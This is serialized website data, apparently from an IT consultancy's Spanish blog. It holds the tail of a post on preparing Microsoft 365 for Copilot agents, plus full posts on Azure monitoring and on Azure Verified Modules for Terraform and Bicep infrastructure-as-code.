infrastructure. This guide explains why data quality determines AI success, highlights risks like oversharing and silos, and outlines 10 practical steps to make your M365 environment agent-ready—secure, compliant, and scalable.","Microsoft 365 Copilot, Copilot Agents, M365 data governance, AI readiness, SharePoint data security, M365 infrastructure, oversharing prevention, AI data preparation, Microsoft 365 security, agent-ready M365",[8595,8599,8603,8606,8609,8611,8613,8615,8617,8619],[8596,8597,8598],"File type","SharePoint Online - Limit","Manual Upload - Limit",[8600,8601,8602],".doc","150 MB","100 MB",[8604,8605,8602],".docx","512 MB",[8607,8601,8608],".html","not supported",[8610,8605,8602],".pdf",[8612,8601,8602],".ppt",[8614,8605,8602],".pptx",[8616,8601,8602],".txt",[8618,8601,8602],".xls",[8620,8601,8602],".xlsx",{"menuItems":8622},[8623,8626,8629,8632,8635,8638],{"href":8624,"text":8625},"#why-your-infrastructure-data-matters","Why Infrastructure Matters",{"href":8627,"text":8628},"#_10-steps-to-improve-your-m365-data-infrastructure-now","10 Steps for M365 Data",{"href":8630,"text":8631},"#understanding-differences-between-agent-platforms","Understanding Agent Platform",{"href":8633,"text":8634},"#rag-retrieval-augumented-generation-vs-sharepoint-vs-upload","RAG vs. SharePoint vs. Upload",{"href":8636,"text":8637},"#microsoft-365-copilot-copilot-agents-security-compliance-out-of-the-box","M365 Copilot: Security",{"href":8639,"text":8640},"#best-practices-to-prepare-further-sharepoint-online-for-agent-use","SharePoint Best Practices",[8642,8644],{"lang":4,"href":8643},"/de/posts/2025-08-26-agent-ready-infrastructure",{"lang":940,"href":8645},"/es/posts/2025-08-26-agent-ready-infrastructure",{"noMargin":511},{"slick":511},"/posts/2025-08-28-agent-ready-infrastructure",{"title":7870,"description":927},"posts/2025-08-28-agent-ready-infrastructure",[149,8652,8653,8654],"M365 Data Governance","SharePoint Security","AI Data Preparation","V0Ev-WBpThFb0B1-HSh6DLIgdIigWtcC__BUFjk20pM",{"id":8657,"title":8658,"author":8659,"body":8660,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":8760,"moment":8761,"navigation":511,"path":8800,"seo":8801,"stem":8802,"tags":8803,"webcast":752,"__hash__":8807},"content_es/posts/2025-08-27-azure-monitor.md","Monitorización que crece contigo – Soluciones orgánicas en Azure",[1306],{"type":806,"value":8661,"toc":8752},[8662,8666,8668,8671,8675,8677,8680,8697,8700,8704,8706,8709,8712,8715,8719,8721,8724,8727,8731,8733,8736,8739,8742,8745,8747,8749],[819,8663,8665],{"id":8664},"monitorización-en-azure","Monitorización en Azure",[809,8667,825],{},[809,8669,8670],{},"La monitorización en la nube es mucho más que solo recopilar métricas. En entornos dinámicos de Azure, se trata de capturar información relevante de manera dirigida, visualizarla de forma significativa y responder automáticamente. El enfoque no solo está en los aspectos técnicos, sino también en la escalabilidad, el control de costes y la gobernanza.",[819,8672,8674],{"id":8673},"monitorización-holística-con-azure-más-que-solo-métricas","Monitorización holística con Azure – Más que solo métricas",[809,8676,825],{},[809,8678,8679],{},"Un concepto moderno de monitorización en Azure incluye varios componentes:",[1649,8681,8682,8685,8688,8691,8694],{},[1653,8683,8684],{},"Azure Monitor como la plataforma central para métricas, registros y alertas",[1653,8686,8687],{},"Log Analytics para análisis en profundidad y correlación",[1653,8689,8690],{},"Application Insights para la monitorización de aplicaciones",[1653,8692,8693],{},"Workbooks y paneles para la visualización",[1653,8695,8696],{},"Action Groups y Logic Apps para respuestas automatizadas",[809,8698,8699],{},"La monitorización se vuelve especialmente valiosa cuando abarca no solo recursos nativos de la nube, sino también escenarios híbridos. Con Azure Arc, los sistemas locales y otras nubes pueden integrarse sin problemas, incluyendo registro, alertas y aplicación de políticas. Esto crea una vista coherente de toda la infraestructura.",[819,8701,8703],{"id":8702},"seguimiento-de-cambios-e-inventario-change-tracking-inventory","Seguimiento de cambios e inventario – Change Tracking & Inventory",[809,8705,825],{},[809,8707,8708],{},"Un aspecto a menudo subestimado de la monitorización es el seguimiento de los cambios en los recursos. Con Azure Change Tracking, los cambios de configuración en máquinas virtuales, archivos, entradas de registro e instalaciones de software pueden registrarse automáticamente y analizarse históricamente. Esto es especialmente útil para el análisis de la causa raíz de incidentes o para cumplir con requisitos de cumplimiento.",[809,8710,8711],{},"Esto se complementa con la función de Inventario, que proporciona una visión completa del software instalado, servicios en ejecución y configuraciones del sistema, tanto para máquinas virtuales de Azure como para sistemas locales integrados a través de Azure Arc. Esto crea una vista central del estado técnico del entorno, que puede integrarse perfectamente en las estructuras existentes de monitorización y gobernanza.",[809,8713,8714],{},"Combinado con Log Analytics y alertas automatizadas, Change Tracking se convierte en una herramienta poderosa para operaciones transparentes, análisis rápido de errores y documentación conforme.",[819,8716,8718],{"id":8717},"control-de-costos-mediante-registros-dirigidos","Control de costos mediante registros dirigidos",[809,8720,825],{},[809,8722,8723],{},"Un obstáculo común en la monitorización es el desarrollo de costos debido a registros no controlados. Azure ofrece varios niveles de Pricing Tiers con Log Analytics, lo que hace que la retención a largo plazo sea rentable. Al seleccionar períodos de retención y estrategias de muestreo adecuados, los costos pueden reducirse significativamente sin sacrificar información importante.",[809,8725,8726],{},"Un enfoque estructurado ayuda a diseñar el Logging de manera dirigida y eficiente. Azure Policy juega un papel clave aquí: con políticas predefinidas, la configuración de diagnóstico puede aplicarse automáticamente a los nuevos recursos. Esto garantiza la coherencia y reduce significativamente el esfuerzo manual.",[819,8728,8730],{"id":8729},"monitorización-como-servicio-gestionado","Monitorización como servicio gestionado",[809,8732,825],{},[809,8734,8735],{},"La monitorización efectiva comienza con una base estable y estructurada. En entornos de Azure, una Landing Zone proporciona la base necesaria para implementar la gobernanza, la seguridad y las operaciones de manera coherente. Esta base incluye no solo la infraestructura de red y la gestión de identidades, sino también un marco de monitorización bien pensado.",[809,8737,8738],{},"Nuestra Azure Foundation demuestra cómo puede funcionar esto: aporta un conjunto de alertas probadas, configuraciones de registro y controles de Azure Policy que garantizan que los nuevos recursos se configuren automáticamente con los ajustes correctos. Esto crea un entorno donde la transparencia y la seguridad operativa se consideran desde el principio.",[809,8740,8741],{},"Sobre esta base, se pueden proporcionar zonas de aplicaciones (App Zones) para aplicaciones específicas. Estas zonas son flexibles y pueden integrarse en la monitorización existente con alertas personalizadas y registros automatizados. Esto mantiene el entorno escalable y permite que crezca según los requisitos, sin perder visibilidad ni estandarización.",[809,8743,8744],{},"Esta estructura garantiza que la monitorización no solo sea técnicamente sólida, sino también estratégicamente escalable. Los estándares proporcionan coherencia, mientras que la modularidad permite requisitos individuales. Un servicio gestionado puede apoyarle asumiendo la operación, el mantenimiento y el desarrollo posterior. Esto crea libertad para centrarse en lo que realmente importa: su negocio principal, el desarrollo de productos o la optimización de procesos empresariales.",[819,8746,1633],{"id":1632},[809,8748,825],{},[809,8750,8751],{},"La monitorización moderna en Azure es un pilar clave para operaciones en la nube estables y seguras. Quienes se centran desde el principio en la estandarización, la automatización y el control de costos sientan las bases para la transparencia, la eficiencia y el crecimiento sostenible.",{"title":927,"searchDepth":928,"depth":928,"links":8753},[8754,8755,8756,8757,8758,8759],{"id":8664,"depth":928,"text":8665},{"id":8673,"depth":928,"text":8674},{"id":8702,"depth":928,"text":8703},{"id":8717,"depth":928,"text":8718},{"id":8729,"depth":928,"text":8730},{"id":1632,"depth":928,"text":1633},{"lang":940,"seoTitle":8658,"titleClass":942,"date":8761,"categories":8762,"blogtitlepic":8763,"socialimg":8764,"customExcerpt":8765,"keywords":8766,"contactInContent":8767,"hreflang":8793,"footer":8798,"scripts":8799},"2025-08-27",[199],"head-azure-monitor.png","/blog/heads/head-azure-monitor.png","Cómo la monitorización moderna de Azure crea transparencia y deja espacio para lo que realmente importa","Azure Monitor, Microsoft Best Practices, Azure, Azure Foundation",{"quote":511,"infos":8768},{"headline":2030,"subline":8769,"level":819,"textStyling":956,"flush":957,"person":8770,"form":8780},"¿Quieres saber qué podemos hacer por ti en España? Estaremos encantados de asesorarte sobre nuestros servicios y tecnologías., ¡y esperamos Esperamos tus noticias!",{"image":8771,"cloudinary":511,"alt":1261,"name":1261,"quotee":1261,"quoteeTitle":8772,"quote":8773,"detailsHeader":8774,"details":8775},"/people/people-juan-jose-fernandez.jpg","Regional Sales Manager","Nuestra nueva oficina de Madrid combina la precisión alemana con la pasión española por nuestras soluciones de seguridad esbeltas e innovadoras, que generan confianza con nuestros clientes y se basan en la última tecnología combinada con las necesidades de nuestros clientes. las raíces locales.","Esperamos tener noticias tuyas.",[8776,8779],{"text":8777,"href":8778,"details":2039,"icon":970},"+34 680 225643","tel:+34 680 225643",{"text":766,"href":2325,"icon":974},{"ctaText":976,"cta":8781,"method":938,"action":979,"fields":8782},{"skin":978},[8783,8784,8785,8786,8787,8788,8790,8792],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":2046},{"label":2048,"type":987,"id":615,"required":511,"requiredMsg":2049},{"label":2051,"type":995,"id":995,"required":511,"requiredMsg":2052},{"label":2057,"type":1004,"id":1005,"required":511,"requiredMsg":2058},{"type":982,"id":1013,"value":8789},"Servicios de consulta en España",{"type":982,"id":1016,"value":8791},"gk-in-spain",{"type":982,"id":1019},[8794,8796],{"lang":4,"href":8795},"/de/posts/2025-08-27-azure-monitor",{"lang":1026,"href":8797},"/en/posts/2025-08-27-azure-monitor",{"noMargin":511},{"slick":511},"/posts/2025-08-27-azure-monitor",{"title":8658,"description":927},"posts/2025-08-27-azure-monitor",[8804,8805,8806],"Azure Verified Modules","Terraform","Azure Automation","u1p40Dzu6D6zmX-VLFMlSdvDOG7IsQyx7nTnBhNwxvI",{"id":8809,"title":8810,"author":8811,"body":8812,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":8977,"moment":8978,"navigation":511,"path":9008,"seo":9009,"stem":9010,"tags":9011,"webcast":752,"__hash__":9013},"content_es/posts/2025-07-22-azure-certified-modules.md","Next Level Azure IaC: Azure Verified Modules",[1271],{"type":806,"value":8813,"toc":8970},[8814,8818,8820,8829,8832,8843,8846,8849,8857,8861,8863,8866,8869,8883,8886,8889,8893,8895,8898,8902,8904,8907,8910,8913,8933,8936,8944,8947,8951],[819,8815,8817],{"id":8816},"módulo-verificado-de-azure-iac-según-las-mejores-prácticas-de-microsoft","Módulo Verificado de Azure – IaC según las mejores prácticas de Microsoft",[809,8819,825],{},[809,8821,8822,8823,8828],{},"Microsoft se propuso enfrentar este desafío y lanzó los",[813,8824,8827],{"href":8825,"rel":8826},"https://azure.github.io/Azure-Verified-Modules/",[1509],"Azure Verified Modules (AVM)",": un marco diseñado para desplegar recursos en Azure siguiendo las mejores prácticas.",[809,8830,8831],{},"Los AVM vienen en tres variantes bien definidas:",[1649,8833,8834,8837,8840],{},[1653,8835,8836],{},"Resource Modules – Implementación de un recurso específico en la nube.",[1653,8838,8839],{},"Pattern Modules – Implementación de una carga de trabajo predefinida.",[1653,8841,8842],{},"Utility Modules – Módulos auxiliares utilizados por Resource o Pattern Modules.",[809,8844,8845],{},"Para garantizar un estándar común, Microsoft estableció requisitos que todo nuevo recurso AVM debe cumplir. Esto aplica tanto a Terraform como a Bicep, el propio lenguaje IaC de Microsoft Azure.",[809,8847,8848],{},"Cada AVM tiene un responsable designado dentro de Microsoft que se encarga de su creación, mantenimiento y resolución de problemas.",[809,8850,8851,8852,8856],{},"Y, en un giro muy característico de la cultura open source, todos los módulos están disponibles bajo licencia MIT en los repositorios públicos de la ",[813,8853,8855],{"href":8854},"https://github.com/Azure","Azure GitHub Organisation",". ¿Un módulo falla? ¿Falta un parámetro crítico? Cualquiera puede abrir un issue o contribuir directamente al desarrollo.",[819,8858,8860],{"id":8859},"cómo-empezar-con-avm","¿Cómo empezar con AVM?",[809,8862,825],{},[809,8864,8865],{},"Los AVM funcionan igual que cualquier otro módulo en Terraform o Bicep: se invocan de forma independiente y reciben los parámetros necesarios. Las directrices de AVM reducen estos parámetros al mínimo, allanando el camino para una adopción sin fricciones.",[809,8867,8868],{},"Ejemplo con Terraform:\nPara desplegar una máquina virtual con un disco de datos adicional, normalmente necesitas al menos estos recursos de Azure:",[1649,8870,8871,8874,8877,8880],{},[1653,8872,8873],{},"azurerm_windows_virtual_machine oder azurerm_linux_virtual_machine",[1653,8875,8876],{},"azurerm_network_interface",[1653,8878,8879],{},"azurerm_managed_disk",[1653,8881,8882],{},"azurerm_virtual_machine_data_disk_attachment\u003C",[809,8884,8885],{},"Cada uno de estos recursos exige parámetros recurrentes como el nombre del grupo de recursos, la región de destino o la propia denominación de los recursos.",[809,8887,8888],{},"Con AVM, todo ese entramado se reduce a una única llamada con los parámetros esenciales. El módulo se encarga del resto. Además, como los AVM ya integran las mejores prácticas de Microsoft, muchos valores vienen preconfigurados: TLS 1.2 habilitado por defecto o el bloqueo del acceso público son solo dos ejemplos claros.",[819,8890,8892],{"id":8891},"qué-hacer-si-no-existe-un-avm-para-mi-recurso","¿Qué hacer si no existe un AVM para mi recurso?",[809,8894,825],{},[809,8896,8897],{},"La licencia open source de AVM ofrece un camino claro: cualquiera puede iniciar su propio desarrollo basándose en este marco. Y si más adelante Microsoft decide crear un módulo oficial para ese recurso, tu trabajo previo puede convertirse en una contribución valiosa para toda la comunidad.",[819,8899,8901],{"id":8900},"gkvm-glueckkanja-️-open-source","GKVM - glueckkanja ❤️ Open Source",[809,8903,825],{},[809,8905,8906],{},"En glueckkanja seguimos exactamente este enfoque y apoyamos a nuestros clientes en el desarrollo de módulos basados en el framework AVM, los cuales posteriormente ponemos a disposición del público.",[809,8908,8909],{},"A estos módulos los llamamos GKVM (GlueckKanja Verified Modules), porque no solo cumplen con los lineamientos de AVM, sino que también incorporan el conocimiento que hemos acumulado en numerosos proyectos reales.",[809,8911,8912],{},"GKVM Resouce Modules:",[1649,8914,8915,8921,8927],{},[1653,8916,8917],{},[813,8918,8920],{"href":8919},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-synapse-workspace/azurerm/latest","Azure Synapse Workspace",[1653,8922,8923],{},[813,8924,8926],{"href":8925},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-iot-hub/azurerm/latest","Azure IoT Hub",[1653,8928,8929],{},[813,8930,8932],{"href":8931},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-messaging-eventgridsystemtopic/azurerm/latest","Azure Event Grid System Topic",[809,8934,8935],{},"GKVM Pattern Modules:",[1649,8937,8938],{},[1653,8939,8940],{},[813,8941,8943],{"href":8942},"https://registry.terraform.io/modules/glueckkanja/gkvm-ptn-myworkid/azurerm/latest","My WorkId",[809,8945,8946],{},"¡Agradecemos cualquier issue que ayude a ampliar los módulos con nuevas funcionalidades!",[819,8948,8950],{"id":8949},"recursos-adicionales","Recursos adicionales",[1649,8952,8953,8958,8964],{},[1653,8954,8955],{},[813,8956,8957],{"href":324},"glueckkanja Azure Foundation",[1653,8959,8960],{},[813,8961,8963],{"href":8962},"/es/posts/2023-04-14-workload-management-with-azure-foundation","Azure Foundation: Cloud-Management eficiente con Terraform",[1653,8965,8966],{},[813,8967,574],{"href":8968,"rel":8969},"https://www.terraprovider.com/",[1509],{"title":927,"searchDepth":928,"depth":928,"links":8971},[8972,8973,8974,8975,8976],{"id":8816,"depth":928,"text":8817},{"id":8859,"depth":928,"text":8860},{"id":8891,"depth":928,"text":8892},{"id":8900,"depth":928,"text":8901},{"id":8949,"depth":928,"text":8950},{"lang":940,"seoTitle":8817,"titleClass":942,"date":8978,"categories":8979,"blogtitlepic":8980,"socialimg":8981,"customExcerpt":8982,"keywords":8983,"contactInContent":8984,"hreflang":9001,"footer":9006,"scripts":9007},"2025-07-22",[199],"head-azure-certified.png","/blog/heads/head-azure-certified.png","La infraestructura como código (IaC), especialmente con Terraform, es una pieza clave de nuestra Azure Foundation y un elemento esencial en toda transformación hacia la nube. Lo hemos visto una y otra vez: un uso estructurado de IaC no solo acelera la adopción de servicios en la nube, sino que también impulsa el desarrollo de nuevos productos. Y aquí surge la pregunta inevitable: ¿cuál es el mejor punto de partida?","Azure Verified Modules, AVM, Infrastructure as Code, IaC, Terraform, Bicep, Microsoft Best Practices, Azure Module Deployment, Azure Foundation, Open Source Azure, Azure IaC, Azure Automation",{"quote":511,"infos":8985},{"headline":2030,"subline":8769,"level":819,"textStyling":956,"flush":957,"person":8986,"form":8990},{"image":8771,"cloudinary":511,"alt":1261,"name":1261,"quotee":1261,"quoteeTitle":8772,"quote":8773,"detailsHeader":8774,"details":8987},[8988,8989],{"text":8777,"href":8778,"details":2039,"icon":970},{"text":766,"href":2325,"icon":974},{"ctaText":976,"cta":8991,"method":938,"action":979,"fields":8992},{"skin":978},[8993,8994,8995,8996,8997,8998,8999,9000],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":2046},{"label":2048,"type":987,"id":615,"required":511,"requiredMsg":2049},{"label":2051,"type":995,"id":995,"required":511,"requiredMsg":2052},{"label":2057,"type":1004,"id":1005,"required":511,"requiredMsg":2058},{"type":982,"id":1013,"value":8789},{"type":982,"id":1016,"value":8791},{"type":982,"id":1019},[9002,9004],{"lang":1026,"href":9003},"/en/posts/2025-07-22-azure-certified-modules",{"lang":4,"href":9005},"/de/posts/2025-07-22-azure-certified-modules",{"noMargin":511},{"slick":511},"/posts/2025-07-22-azure-certified-modules",{"title":8810,"description":927},"posts/2025-07-22-azure-certified-modules",[9012,8804,8805,8806],"Infrastructure as Code","tj6ZEPspDk8g-VT5hOwl-NAtr7LwS_QrHymePtlMZxc",1785679190533]